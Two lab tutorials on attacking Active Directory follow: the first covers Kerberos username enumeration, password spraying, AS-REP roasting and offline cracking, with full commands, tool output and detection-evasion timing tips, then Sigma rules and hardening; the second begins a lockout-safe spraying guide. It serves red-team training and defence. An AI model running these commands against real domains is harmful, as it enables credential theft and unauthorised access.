Enumeration always comes before exploitation. First confirm you are actually talking to a DC and learn the domain name, because every subsequent tool needs the FQDN.

nmap -p 88,389,445 -Pn 10.10.10.10
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.10.10.10
Host is up (0.0011s latency).

PORT    STATE SERVICE
88/tcp  open  kerberos-sec
389/tcp open  ldap
445/tcp open  microsoft-ds

Nmap done: 1 IP address (1 host up) scanned in 0.34 seconds

Port 88 open plus 389 plus 445 is the classic DC fingerprint. Now pull the LDAP RootDSE, which most DCs expose to anonymous binds, to recover the naming context:

nmap -p 389 --script ldap-rootdse 10.10.10.10
PORT    STATE SERVICE
389/tcp open  ldap
| ldap-rootdse:
|   rootDSE
|     defaultNamingContext: DC=lab,DC=local
|     dnsHostName: DC01.lab.local
|     serverName: CN=DC01,CN=Servers,CN=Default-First-Site-Name,...
|     ldapServiceName: lab.local:dc01$@LAB.LOCAL
|_    rootDomainNamingContext: DC=lab,DC=local

defaultNamingContext: DC=lab,DC=local gives you the domain lab.local and the DC hostname DC01.lab.local. That is everything you need to start. This activity maps to T1595.001 (active scanning) and T1087.002 (account discovery once we enumerate users).


4. Phase 1 – Username Enumeration With Zero Credentials

You cannot spray or roast without a user list. The elegant part of Kerberos enumeration is that it does not authenticate, so it never produces a logon failure. Kerbrute sends a bare AS-REQ for each candidate name and reads the KDC’s error code:

KDC errorHexMeaning
KDC_ERR_C_PRINCIPAL_UNKNOWN0x6Username does not exist
KDC_ERR_PREAUTH_REQUIRED0x19Username exists, pre-auth needed (valid user)
KDC_ERR_PREAUTH_FAILED0x18Valid user, wrong password
KDC_ERR_KEY_EXPIRED0x17Valid user, expired password

The 0x19 versus 0x6 distinction is the whole trick. A valid account that requires pre-auth answers “you need to pre-authenticate,” which confirms it exists without you ever supplying a password.

./kerbrute userenum \
  --dc 10.10.10.10 \
  --domain lab.local \
  /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt \
  -o valid_users.txt
    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

Version: v1.0.3

2024/06/01 12:00:00 >  Using KDC(s):
2024/06/01 12:00:00 >   10.10.10.10:88
2024/06/01 12:00:01 >  [+] VALID USERNAME:  jsmith@lab.local
2024/06/01 12:00:02 >  [+] VALID USERNAME:  svc_legacy@lab.local
2024/06/01 12:00:04 >  [+] VALID USERNAME:  adm_backup@lab.local
2024/06/01 12:00:06 >  Done! Tested 8295 usernames (3 valid) in 5.20 seconds

Three hits. Note that adm_backup showed up too, which is the point of a honeypot: any enumeration finds it, and the blue team alerts the moment it is touched. Strip the realm suffix into a clean list for the next phases:

sed 's/@lab.local//' valid_users.txt > users.txt
cat users.txt
jsmith
svc_legacy
adm_backup

What this enables: svc_legacy and jsmith become spray candidates, and the same list feeds the unauthenticated AS-REP Roast in Phase 3. On the DC, this generated Event 4768 per name (if Kerberos auditing is on) but produced zero 4625 NTLM failures, which is why threshold-based spray alerts miss it.


5. Phase 2 – Password Spraying

Password spraying inverts brute force. Instead of many passwords against one account (which locks it), you throw one password at many accounts, then wait. Lockout counters are per-account, so one attempt each never trips the threshold.

Enumerate the lockout policy first

You must know the lockout threshold before you spray, or you will lock the domain and burn your access. Try the anonymous LDAP path, which works on plenty of misconfigured DCs:

ldapsearch -x -H ldap://10.10.10.10 -b "DC=lab,DC=local" -s base \
  lockoutThreshold lockoutDuration lockOutObservationWindow
# lab.local
dn: DC=lab,DC=local
lockoutThreshold: 5
lockoutDuration: -18000000000
lockOutObservationWindow: -18000000000

Those negative numbers are 100-nanosecond intervals: 18000000000 / 10000000 = 1800 seconds, so 30 minutes. Threshold 5. The safe budget is 4 attempts per account per 30-minute window, leaving one attempt of headroom. Once you have a valid credential (later), you can confirm the same policy authenticated:

Get-ADDefaultDomainPasswordPolicy | Select LockoutThreshold, LockoutObservationWindow, LockoutDuration
LockoutThreshold LockoutObservationWindow LockoutDuration
---------------- ------------------------ ---------------
               5 00:30:00                 00:30:00

Kerberos-based spray (quiet path)

Kerbrute’s passwordspray performs the AS-REQ pre-auth handshake with a real password guess. A correct guess returns an AS-REP; a wrong one returns KDC_ERR_PREAUTH_FAILED (0x18). This path produces Event 4771, not the high-visibility 4625.

./kerbrute passwordspray \
  --dc 10.10.10.10 \
  --domain lab.local \
  users.txt \
  'Spring2024!'
2024/06/01 12:10:00 >  Using KDC(s):
2024/06/01 12:10:00 >   10.10.10.10:88
2024/06/01 12:10:00 >  [+] VALID LOGIN:  jsmith@lab.local:Spring2024!
2024/06/01 12:10:00 >  Done! Tested 3 logins (1 successes) in 0.51 seconds

You have your first credential: jsmith:Spring2024!. That is the pivot from zero to one.

NTLM-based spray (loud path, for comparison)

CrackMapExec sprays over SMB using NTLM, which is noisier: each failure is an Event 4625 with LogonType 3. Use --continue-on-success and --no-bruteforce (one password across the list, not a full matrix) so you respect lockout.

crackmapexec smb 10.10.10.10 \
  -u users.txt \
  -p 'Spring2024!' \
  --continue-on-success \
  --no-bruteforce
SMB  10.10.10.10  445  DC01  [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:lab.local) (signing:True) (SMBv1:False)
SMB  10.10.10.10  445  DC01  [-] lab.local\adm_backup:Spring2024! STATUS_LOGON_FAILURE
SMB  10.10.10.10  445  DC01  [-] lab.local\svc_legacy:Spring2024! STATUS_LOGON_FAILURE
SMB  10.10.10.10  445  DC01  [+] lab.local\jsmith:Spring2024!

Same result, three Event 4625 records on the DC. In a real engagement, prefer the Kerberos path and add jitter. A slow spray of roughly four attempts per account per hour spread over days sits under most detection thresholds. This whole phase maps to T1110.003.


6. Phase 3 – AS-REP Roasting With Zero Credentials

Here is the beautiful part: you can roast before you have a single credential, using only the username list from Phase 1. Impacket’s GetNPUsers sends a padata-less AS-REQ per name. For accounts with pre-auth disabled, the DC returns an AS-REP and Impacket extracts the enc-part as a crackable hash. For accounts with pre-auth enabled, the DC refuses and you learn nothing sensitive.

Enumerate before extracting

GetNPUsers doubles as the enumerator here: point it at the whole list and it tells you which accounts are roastable and which are not.

impacket-GetNPUsers lab.local/ \
  -no-pass \
  -usersfile users.txt \
  -dc-ip 10.10.10.10 \
  -format hashcat \
  -outputfile asrep_hashes.txt
Impacket v0.11.0 - Copyright 2023 Fortra

[-] User adm_backup doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jsmith doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc_legacy@LAB.LOCAL:9c1a2f4b7d8e0a5c6f3b1e9d2a7c4088$b41d7e2a9f0c53d18e6a4b2c7f019d3ea5c86b41f9027d3e6a1b8c4d05f7e29a3b6c81d0f4e27a95c3b0d68f14e7a92c5d0b83f61a4e097c2d5b8f30a6e1c94d7b2f085a3e6c19d40b7f2e85a3c6091d4b7f0e2a85c396d1b4f7e0a2c85d396b1f4a

Read the negatives as intel too. jsmith and adm_backup are not roastable, svc_legacy is. Check the output file:

cat asrep_hashes.txt
$krb5asrep$23$svc_legacy@LAB.LOCAL:9c1a2f4b7d8e0a5c6f3b1e9d2a7c4088$b41d7e2a9f0c53d18e6a4b2c7f019d3ea5c86b41f9027d3e6a1b8c4d05f7e29a3b6c81d0f...

Hash format anatomy

Break the blob down so cracking makes sense:

SegmentValueMeaning
$krb5asrep$literalFormat tag
23etypeRC4-HMAC (0x17), string-to-key = NT hash
svc_legacy@LAB.LOCALprincipalAccount and realm
9c1a...408816-byte checksumThe edata1 integrity checksum
b41d...ciphertextThe edata2 encrypted blob (session key, timestamps)

The 23 matters. RC4 is the fastest etype to crack because its key is the raw NT hash, so tools and attackers request it deliberately. That preference for RC4 is also the highest-fidelity detection signal, which we exploit defensively in Section 10. This path maps to T1558.004.


7. Phase 3b – AS-REP Roasting From an Authenticated Perspective

The unauthenticated roast only finds accounts you already guessed the name of. Once you own jsmith:Spring2024! from Phase 2, you can bind to LDAP and let the DC enumerate every DONT_REQ_PREAUTH account for you. This is the correct order in a real chain: spray to get one cred, then use it to roast comprehensively.

Manual LDAP enumeration first

With a valid credential you can query the flag directly. The userAccountControl bit 4194304 is 0x400000:

Get-ADUser -Filter 'useraccountcontrol -band 4194304' -Properties userAccountControl |
  Select SamAccountName, userAccountControl
SamAccountName userAccountControl
-------------- ------------------
svc_legacy               4260352

4260352 = 0x410200, which is NORMAL_ACCOUNT (0x0200) + DONT_EXPIRE_PASSWORD (0x10000) + DONT_REQ_PREAUTH (0x400000). The cleaner property-based query returns the same account:

Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth |
  Select SamAccountName, Enabled
SamAccountName Enabled
-------------- -------
svc_legacy        True

Tool-based authenticated roast

Impacket with credentials and -request performs the LDAP query and the AS-REP extraction in one shot:

impacket-GetNPUsers lab.local/jsmith:'Spring2024!' \
  -request \
  -dc-ip 10.10.10.10 \
  -format hashcat \
  -outputfile asrep_hashes_auth.txt
Impacket v0.11.0 - Copyright 2023 Fortra

Name        MemberOf  PasswordLastSet             LastLogon  UAC      
----------  --------  --------------------------  ---------  --------
svc_legacy            2024-05-30 14:22:11.123456  <never>    0x410200 

$krb5asrep$23$svc_legacy@LAB.LOCAL:9c1a2f4b7d8e0a5c6f3b1e9d2a7c4088$b41d7e2a9f0c53d18e6a4b2c7f019d3ea5c86b41f9027d3e...

From a Windows host with Rubeus

If your foothold is a domain-joined Windows box (or you have creds for runas /netonly), Rubeus does the same in-domain. It reads LDAP for the flag and roasts every hit:

.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt /nowrap
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0

[*] Action: AS-REP roasting
[*] Target Domain          : lab.local
[*] Searching for accounts that do not require preauthentication
[*] SamAccountName         : svc_legacy
[*] DistinguishedName      : CN=svc_legacy,CN=Users,DC=lab,DC=local
[*] Using domain controller: DC01.lab.local (10.10.10.10)
[*] Building AS-REQ (w/o preauth) for: 'lab.local\svc_legacy'
[+] AS-REQ w/o preauth successful!
[*] Hash written to hashes.txt

8. Offline Cracking

The hash never left the DC in plaintext, and cracking happens entirely on your machine, so there is nothing for the target to detect at this stage. Hashcat mode 18200 handles the $krb5asrep$23$ format.

hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt \
  --rules-file /usr/share/hashcat/rules/best64.rule
$krb5asrep$23$svc_legacy@LAB.LOCAL:9c1a2f4b7d8e...:Winter2023!

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 18200 (Kerberos 5, etype 23, AS-REP)
Hash.Target......: asrep_hashes.txt
Time.Started.....: Sat Jun  1 12:20:04 2024 (3 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Mod........: Rules (best64.rule)
Speed.#1.........:  1123.4 MH/s
Recovered........: 1/1 (100.00%) Digests

John does the same with the krb5asrep format:

john --format=krb5asrep --wordlist=/usr/share/wordlists/rockyou.txt asrep_hashes.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Winter2023!      ($krb5asrep$23$svc_legacy@LAB.LOCAL)
1g 0:00:00:01 DONE (2024-06-01 12:22) 0.909g/s ...
Use the "--show" option to display all cracked passwords reliably

You now hold a second, independent credential: svc_legacy:Winter2023!. If the account had a 25-character random password you would still hold the hash, but rockyou would never crack it, which is exactly why long service-account passwords are a real mitigation.

Validate the credential

Always confirm a cracked or sprayed credential actually works before you build on it:

crackmapexec smb 10.10.10.10 -u svc_legacy -p 'Winter2023!'
SMB  10.10.10.10  445  DC01  [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:lab.local) (signing:True)
SMB  10.10.10.10  445  DC01  [+] lab.local\svc_legacy:Winter2023!

A (Pwn3d!) suffix would indicate local admin on the target; here we simply have a valid domain credential, which is the win we came for.


9. Chaining Both Techniques

The two attacks reinforce each other. Neither requires a credential to start, but they cover different account populations, so run them in a deliberate order.

  1. Enumerate usernames with kerbrute userenum (no creds, no 4625).
  2. Attempt the unauthenticated AS-REP Roast first (GetNPUsers -no-pass). It is the quietest possible path: no failed logons at all. If any account has pre-auth disabled, you may get a credential without spraying.
  3. Spray one seasonal or policy-compliant password across the enumerated list, staying at four attempts per lockout window.
  4. Take the first sprayed credential and run the authenticated roast (GetNPUsers -request or Rubeus) to enumerate every DONT_REQ_PREAUTH account in the domain, not just the ones whose names you guessed.
  5. Crack offline, validate, then use the credential for BloodHound collection and the next stage.

The decision hinges on whether Phase 3 alone produces a crackable hash. If it does and rockyou cracks it, you may skip spraying entirely and its associated 4771/4625 noise.


Hierarchy diagram of the full zero-to-credential attack chain from unauthenticated username enumeration through password spraying and AS-REP roasting to an authenticated domain foothold
The two techniques cover different account populations and reinforce each other – roast first for silence, spray for breadth, then use the first credential to roast the entire domain over LDAP.

10. Common Attacker Techniques

TechniqueDescription
Kerberos username enumerationAS-REQ error-code classification (0x6 vs 0x19) to build a valid user list without logon failures
Kerberos password sprayAS-REQ pre-auth guesses, one password across many users, produces 4771 not 4625
NTLM/SMB password sprayCrackMapExec over SMB, produces 4625 LogonType 3
Unauthenticated AS-REP RoastPadata-less AS-REQ against a name list, extracts enc-part for offline cracking
Authenticated AS-REP RoastLDAP query for DONT_REQ_PREAUTH, roast every hit domain-wide
RC4 downgrade for crackingRequest etype 23 so the key is the NT hash, maximizing crack speed
Slow-spray timing~4 attempts per account per hour to defeat lockout and threshold alerts

11. Defensive Strategies and Detection

Every phase leaves a trace if the right auditing is on. Enable it via a GPO linked to the Domain Controllers OU under Advanced Audit Policy Configuration:

  • Account Logon: Audit Kerberos Authentication Service (Success and Failure) for 4768 and 4771.
  • Account Logon: Audit Credential Validation and Logon: Audit Logon for 4624/4625.
  • Account Management: Audit User Account Management for 4738.

Event ID reference

Event IDTriggerKey fields
4768AS-REQ / TGT requestedPreAuthType=0 = roast candidate; Status=0x6 = unknown user; TicketEncryptionType=0x17 = RC4
4771Kerberos pre-auth failedFailureCode=0x18 = bad password (spray); Client Address = source IP
4625NTLM logon failureLogonType=3, SubStatus=0xC000006A wrong pass; from CME, not Kerbrute
4624Successful logonCorrelate many 4771/4625 then one 4624 = spray hit
4738User account changedWatch for userAccountControl changes that clear pre-auth

The detection blind spot and how to close it

Kerbrute’s whole design goal is to avoid 4625. A spray against 10,000 accounts leaves zero NTLM failures, so counting 4625 misses it entirely. Two things close the gap. On the source host, Sysmon Event ID 1 catches the kerbrute or GetNPUsers process, and Event ID 3 catches the outbound port 88 flow from a non-standard process. On the DC, pivot on the AS-REP Roasting signature: PreAuthType == 0 combined with TicketEncryptionType == 0x17 in 4768 is the highest-confidence indicator, because a legitimate modern client uses AES and performs pre-auth.

title: AS-REP Roasting - RC4 AS-REQ Without Pre-Authentication
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4768
    PreAuthType: '0'
    TicketEncryptionType: '0x17'
  filter:
    TargetUserName|endswith: '$'
  condition: selection and not filter
level: high

For spraying, alert on volume of 4771 failures from a single source IP against many distinct accounts within a short window:

title: Kerberos Password Spray - Many Pre-Auth Failures From One Source
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4771
    FailureCode: '0x18'
    ServiceName: 'krbtgt'
  timeframe: 1m
  condition: selection | count(TargetUserName) by IpAddress > 10
level: high

Trimarc and ADSecurity guidance suggests concrete thresholds: more than 50 4625 or 50 4771 (FailureCode=0x18) events within one minute, and more than 100 4648 events on workstations within one minute. The most reliable single control is a honeypot account like adm_backup: it never authenticates legitimately, so any 4768, 4771, or 4625 naming it is a guaranteed alert on enumeration or spray.

Hardening

  1. Audit and re-enable pre-auth: run Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} weekly and clear the flag wherever the app allows.
  2. Enforce AES-only Kerberos via Network security: Configure encryption types allowed for Kerberos, which makes cracking orders of magnitude slower even if pre-auth stays off.
  3. Deploy honeypot accounts with attractive names and alert on any authentication.
  4. Apply Fine-Grained Password Policies (PSOs) mandating 20+ character passwords on service accounts so a captured hash is uncrackable.
  5. Enable Azure AD Password Protection on-prem to block the common spray passwords at the DC.
  6. Disable anonymous LDAP binds so attackers cannot read the lockout policy unauthenticated.

Illustration of a defensive watchtower with alert beacons detecting an attacker's hook aimed at a honeypot server below, symbolising layered AS-REP roasting and spray detection
Layered detection – honeypot accounts, Event 4768 PreAuthType=0 alerts, and Sysmon port-88 telemetry – closes the gaps that counting Event 4625 alone leaves wide open.

12. Tools for AS-REP Roasting and Spraying

ToolDescriptionLink
KerbruteKerberos username enum and spray, avoids 4625github.com/ropnop/kerbrute
Impacket GetNPUsersAS-REP Roasting, authenticated or -no-passgithub.com/fortra/impacket
RubeusWindows AS-REP roast and Kerberos tradecraftgithub.com/GhostPack/Rubeus
CrackMapExecNTLM/SMB spray and validationgithub.com/Porchetta-Industries/CrackMapExec
HashcatCrack $krb5asrep$ with mode 18200hashcat.net
John the RipperCrack with --format=krb5asrepopenwall.com/john
ldapsearch / ldap-utilsAnonymous policy and RootDSE enumerationopenldap.org
WiresharkWire-level view of the AS exchangewireshark.org

13. MITRE ATT&CK Mapping

TechniqueMITRE IDDetection
Active Scanning: Scanning IP BlocksT1595.001Perimeter/NIDS port 88/389/445 sweeps
Account Discovery: Domain AccountT1087.0024768 Status=0x6 bursts; Sysmon EID 1 for kerbrute
Brute Force: Password SprayingT1110.0034771 FailureCode=0x18 and 4625 volume from one IP
Steal or Forge Kerberos Tickets: AS-REP RoastingT1558.0044768 PreAuthType=0 + TicketEncryptionType=0x17
Valid Accounts: Domain AccountsT1078.002Anomalous 4624 from new source after failures

14. Lab Tear-Down and Remediation Checklist

Reverse the misconfigurations so the lab reflects a hardened baseline, and use the same steps as a production checklist.

# Re-enable pre-authentication on the roastable account
Set-ADAccountControl -Identity svc_legacy -DoesNotRequirePreAuth $false

# Confirm nothing is left roastable
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth |
  Select SamAccountName
# (empty result = no accounts skip pre-auth)
# Force AES-only for the account and rotate to a long password
Set-ADUser -Identity svc_legacy -KerberosEncryptionType AES128,AES256
Set-ADAccountPassword -Identity svc_legacy -Reset `
  -NewPassword (ConvertTo-SecureString "b9F!2qLx7Vr0mZ4pTnKe8Wd6" -AsPlainText -Force)
# (no output on success)

Then confirm auditing is producing 4768/4771, verify the honeypot alert fires on a test authentication, and schedule the DoesNotRequirePreAuth query as a weekly automated report.


Summary

  • With zero credentials you can still enumerate valid domain usernames and pull crackable AS-REP hashes, because Kerberos leaks account existence through error codes and hands out password-encrypted material for any account with pre-authentication disabled.
  • Kerbrute enumeration and Kerberos-based spraying deliberately avoid Event 4625, so defenders must pivot to 4768/4771, honeypot accounts, and Sysmon process/network telemetry on the source host.
  • AS-REP Roasting (T1558.004) hinges on userAccountControl bit 0x400000; the RC4 etype 23 blob (hashcat -m 18200) is fast to crack, and PreAuthType=0 plus TicketEncryptionType=0x17 in 4768 is the highest-fidelity detection.
  • Password spraying (T1110.003) beats lockout by staying at four attempts per account per observation window; read lockoutThreshold first, always.
  • Chain them: roast quietly, spray for a first credential, then use that credential to roast the whole domain over LDAP, validate, and pivot.
  • Harden by re-enabling pre-auth, forcing AES, deploying honeypots, applying 20+ character PSOs on service accounts, and killing anonymous LDAP binds.

Related Tutorials

References

Password Spraying Active Directory: Policy Enumeration First, Lockouts Never

Objective: Learn to enumerate the Active Directory default domain password policy and every Fine-Grained Password Policy before you send a single authentication attempt, derive a spray cadence that is mathematically guaranteed to stay below every lockout threshold in the domain, and hand defenders the exact audit policy, event IDs, and Sigma fields that catch each step.

The fastest way to end a red-team engagement is to lock out fifty accounts on day one. The helpdesk lights up, an incident ticket gets filed, and your quiet foothold plan is now a company-wide email telling everyone to change their passwords. Spraying is not hard. Spraying safely is an exercise in reading policy before you act. This guide treats enumeration as the whole game and the spray itself as the trivial part at the end.

All techniques in this tutorial must only be performed against systems you own or have explicit written authorization to test. Everything below runs against a self-built lab.


1. What Is Password Spraying and Why AD Is Uniquely Exposed

Password spraying inverts the classic brute-force model. Instead of throwing thousands of passwords at one account (which trips lockout instantly), you take one or a very small list of common passwords and try each one against many accounts. T1110.003 in ATT&CK terms. The logic is statistical: in any organization of a few hundred users, someone is running Winter2024! or CompanyName1. You do not need to guess a specific person’s password. You need one weak password anywhere in the directory.

Active Directory makes this uniquely easy for two structural reasons.

First, any authenticated domain user can read the object metadata of nearly every other user. LDAP was designed as a directory service, so read access to sAMAccountName, group memberships, pwdLastSet, and badPwdCount is the default posture for authenticated principals. Target enumeration is not an exploit; it is the product working as designed.

Second, and this is the part that makes the “lockouts never” promise possible, the domain publishes its own lockout policy. The lockoutThreshold and lockoutObservationWindow attributes sit on the domain head object and are readable by any user, often by an anonymous bind if the DC permits it. The domain literally tells you how many wrong guesses you can make and how long you must wait to reset the counter. Read that first and lockouts become impossible by construction.

Kerberos and NTLM are the two authentication protocols you will interact with. Kerberos is the default in a modern domain: the client proves knowledge of its password by encrypting a timestamp (pre-authentication) with a key derived from the password, and the Key Distribution Center (KDC, running on every DC) validates it and issues a Ticket Granting Ticket (TGT). NTLM is the legacy challenge-response protocol still used for SMB and some LDAP binds. The protocol you choose to spray over changes exactly which events fire on the DC, and that is the difference between a loud spray and a quiet one. We come back to that in section 10.


2. Building the Intentionally Vulnerable Lab

Stand up a single Windows Server 2022 Evaluation VM as the domain controller and a Kali or Ubuntu box on the same host-only network (192.168.56.0/24). Promote the DC:

Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName "lab.genxcyber.local" -DomainNetbiosName "LAB" -InstallDns
Message                                                       Context           RebootRequired  Status
-------                                                       -------           --------------  ------
Operation completed successfully. This server is now a ...    DCPromo.General.3 True            Success

Populate the directory with realistic noise using BadBlood, which creates thousands of users, groups, OUs, and ACLs so your enumeration looks like a real tenant instead of an empty forest.

cd C:\BadBlood ; .\Invoke-BadBlood.ps1
[*] Creating 2500 user accounts...
[*] Creating 500 groups...
[*] Assigning random group memberships...
[*] Randomizing ACLs on 1200 objects...
[+] BadBlood complete. Domain now resembles a live enterprise.

Now deliberately weaken the domain policy and seed sprayable passwords:

# Weak default domain policy
Set-ADDefaultDomainPasswordPolicy -Identity lab.genxcyber.local `
  -LockoutThreshold 5 -LockoutObservationWindow (New-TimeSpan -Minutes 5) `
  -LockoutDuration (New-TimeSpan -Minutes 30) -MaxPasswordAge (New-TimeSpan -Days 90)

# A tighter FGPP for service accounts (threshold 3)
New-ADFineGrainedPasswordPolicy -Name "ServiceAccountsPSO" -Precedence 10 `
  -LockoutThreshold 3 -LockoutObservationWindow (New-TimeSpan -Minutes 10) `
  -LockoutDuration (New-TimeSpan -Minutes 60) -ComplexityEnabled $true -MinPasswordLength 14
Add-ADFineGrainedPasswordPolicySubject "ServiceAccountsPSO" -Subjects "ServiceAccounts"

# Seed a few weak accounts so the spray actually lands
"jsmith","apatel","mchen" | ForEach-Object {
  Set-ADAccountPassword -Identity $_ -NewPassword (ConvertTo-SecureString "Winter2024!" -AsPlainText -Force) -Reset
}

The lab now has a domain default of lockoutThreshold = 5, a ServiceAccountsPSO overriding it with msDS-LockoutThreshold = 3, and three accounts vulnerable to Winter2024!. That single PSO is the whole reason a uniform spray rate is dangerous, which we prove in section 9.


3. The Lockout Math: Why One Miscalculation Ends the Engagement

Two attributes govern lockout. lockoutThreshold is the number of consecutive bad passwords that locks an account. lockoutObservationWindow is how long the domain waits after a bad attempt before it resets the running counter (badPwdCount) back toward zero. A successful logon also resets the counter immediately.

The safe-spray rule is two lines and you never break either one:

Attempts per account must be at most lockoutThreshold - 1. Never reach the threshold.
Wait at least lockoutObservationWindow between attempts on the same account so the counter resets.

With the lab’s lockoutThreshold = 5 and lockoutObservationWindow = 5 minutes, you may try four passwords, then you must wait five full minutes plus a safety buffer, then four more. In practice you spray one password across all users, wait the window, spray the next password, and so on. Because each account only sees one bad attempt per round, badPwdCount climbs to 1 and resets before the next round ever arrives. You could spray indefinitely and never lock anyone.

Here is the gotcha that has bitten every red teamer at least once: badPwdCount is not replicated between domain controllers. Each DC maintains its own copy. If you query only one DC and see badPwdCount = 1, a second DC that also handled traffic for that user might hold badPwdCount = 4. Spray again and you tip it over. In a multi-DC domain, pin your spray to a single DC and read badPwdCount from that same DC, or sum across all of them. I lost an afternoon early on locking a service account because I trusted the count from DC01 while the user’s phone was hammering DC02 with a stale cached password. Read the policy, read the counter, and always know which DC you are talking to.

One more implementation detail that trips people during raw LDAP enumeration: lockoutDuration, lockoutObservationWindow, and maxPwdAge are stored as negative Int64 values in 100-nanosecond intervals, not minutes. Five minutes is -3000000000. Ninety days is -77760000000000. The PowerShell cmdlets convert this for you; ldapsearch does not. Convert with abs(value) / 600000000 to get minutes.


Flow diagram showing how waiting the full observation window resets badPwdCount to zero before the next spray round, keeping attempts below the lockout threshold, versus the lockout path when no wait is used
Waiting the full observation window between rounds means badPwdCount resets to zero before the next attempt arrives, making lockout mathematically impossible.

4. Enumerating the Default Domain Password Policy

Enumeration first. Before any spray, you pull the policy. Start unauthenticated where the lab permits it, then confirm with credentials.

Unauthenticated pull via net and anonymous LDAP

net accounts /domain speaks SAMR to the DC and returns the human-readable policy from any domain-joined host, no elevation required.

net accounts /domain
Force user logoff how long after time expires?:       Never
Minimum password age (days):                          1
Maximum password age (days):                          90
Minimum password length:                              7
Length of password history maintained:                24
Lockout threshold:                                    5
Lockout duration (minutes):                           30
Lockout observation window (minutes):                 5
Computer role:                                        PRIMARY
The command completed successfully.

There it is: threshold 5, observation window 5 minutes. That is everything the spray cadence needs. If the DC permits anonymous LDAP binds (common on legacy setups, and enabled in this lab for realism), the same data comes from the domain head object:

ldapsearch -x -H ldap://192.168.56.10 -b "DC=lab,DC=genxcyber,DC=local" \
  "(objectClass=domain)" \
  lockoutThreshold lockoutObservationWindow lockoutDuration maxPwdAge minPwdAge pwdHistoryLength
# lab.genxcyber.local
dn: DC=lab,DC=genxcyber,DC=local
lockoutThreshold: 5
lockoutObservationWindow: -3000000000
lockoutDuration: -18000000000
maxPwdAge: -77760000000000
minPwdAge: -864000000000
pwdHistoryLength: 24

Convert the negatives: 3000000000 / 600000000 = 5 minutes observation window, 18000000000 / 600000000 = 30 minutes lockout duration, 77760000000000 / 600000000 = 129600 minutes = 90 days max password age. The values agree with net accounts, which is your sanity check that anonymous LDAP is not lying to you.

Authenticated confirmation

With any valid domain user, the ActiveDirectory module gives the cleanest output:

Get-ADDefaultDomainPasswordPolicy | Select LockoutThreshold,LockoutObservationWindow,LockoutDuration,MaxPasswordAge,MinPasswordLength
LockoutThreshold LockoutObservationWindow LockoutDuration MaxPasswordAge MinPasswordLength
---------------- ------------------------ --------------- -------------- -----------------
               5 00:05:00                 00:30:00        90.00:00:00                    7

From Linux, NetExec (the modern successor to CrackMapExec) has a dedicated flag:

nxc ldap 192.168.56.10 -u jsmith -p 'Winter2024!' --pass-pol
LDAP        192.168.56.10   389    DC01   [*] Windows Server 2022 Build 20348 (name:DC01) (domain:lab.genxcyber.local)
LDAP        192.168.56.10   389    DC01   [+] lab.genxcyber.local\jsmith:Winter2024!
LDAP        192.168.56.10   389    DC01   [*] Dumping password info for domain: lab.genxcyber.local
LDAP        192.168.56.10   389    DC01   Minimum password length: 7
LDAP        192.168.56.10   389    DC01   Password history length: 24
LDAP        192.168.56.10   389    DC01   Maximum password age: 90 days
LDAP        192.168.56.10   389    DC01   Account lockout threshold: 5
LDAP        192.168.56.10   389    DC01   Account lockout window (observation): 5 minutes
LDAP        192.168.56.10   389    DC01   Account lockout duration: 30 minutes

You now have the domain default. If the domain used only this policy you could spray immediately. It does not, because someone deployed a PSO, and PSOs override the default for the users they target.


5. Enumerating Fine-Grained Password Policies (PSOs)

Fine-Grained Password Policies solve a real administrative problem: before Windows Server 2008, a domain could have exactly one password policy. FGPPs, stored as Password Settings Objects (PSOs), let admins apply stricter rules to specific users or global security groups. Two facts you must internalize:

  • PSOs apply to users and global security groups only, never to OUs.
  • A PSO takes precedence over the default domain policy for any user it covers.

If you spray at the domain default rate of “four attempts safe” but a target actually falls under a PSO with msDS-LockoutThreshold = 3, your fourth attempt locks them. This is the single most common way a careful-looking spray still causes lockouts. Enumerate PSOs before you build cadence, not after.

PSO attributes mirror the domain-object attributes but carry the msDS- prefix. The one naming exception is msDS-PasswordHistoryLength, which corresponds to pwdHistoryLength.

PSO AttributeMeaning
msDS-LockoutThresholdBad-password count before lockout
msDS-LockoutObservationWindowObservation window (reset counter)
msDS-LockoutDurationHow long the account stays locked
msDS-MaximumPasswordAgeMax password age
msDS-MinimumPasswordAgeMin password age
msDS-PasswordHistoryLengthHistory depth
msDS-PasswordComplexityEnabledComplexity flag
msDS-PasswordSettingsPrecedenceLower value wins when multiple PSOs apply
msDS-PSOAppliesToLinks PSO to user/group objects
msDS-ResultantPSOPer-user attribute naming the effective PSO

All PSOs live in one container: CN=Password Settings Container,CN=System,DC=lab,DC=genxcyber,DC=local.

Enumerate every PSO with the AD module

Get-ADFineGrainedPasswordPolicy -Filter * |
  Select Name,Precedence,LockoutThreshold,LockoutObservationWindow,LockoutDuration,MinPasswordLength
Name               Precedence LockoutThreshold LockoutObservationWindow LockoutDuration MinPasswordLength
----               ---------- ---------------- ------------------------ --------------- -----------------
ServiceAccountsPSO         10                3 00:10:00                 01:00:00                       14

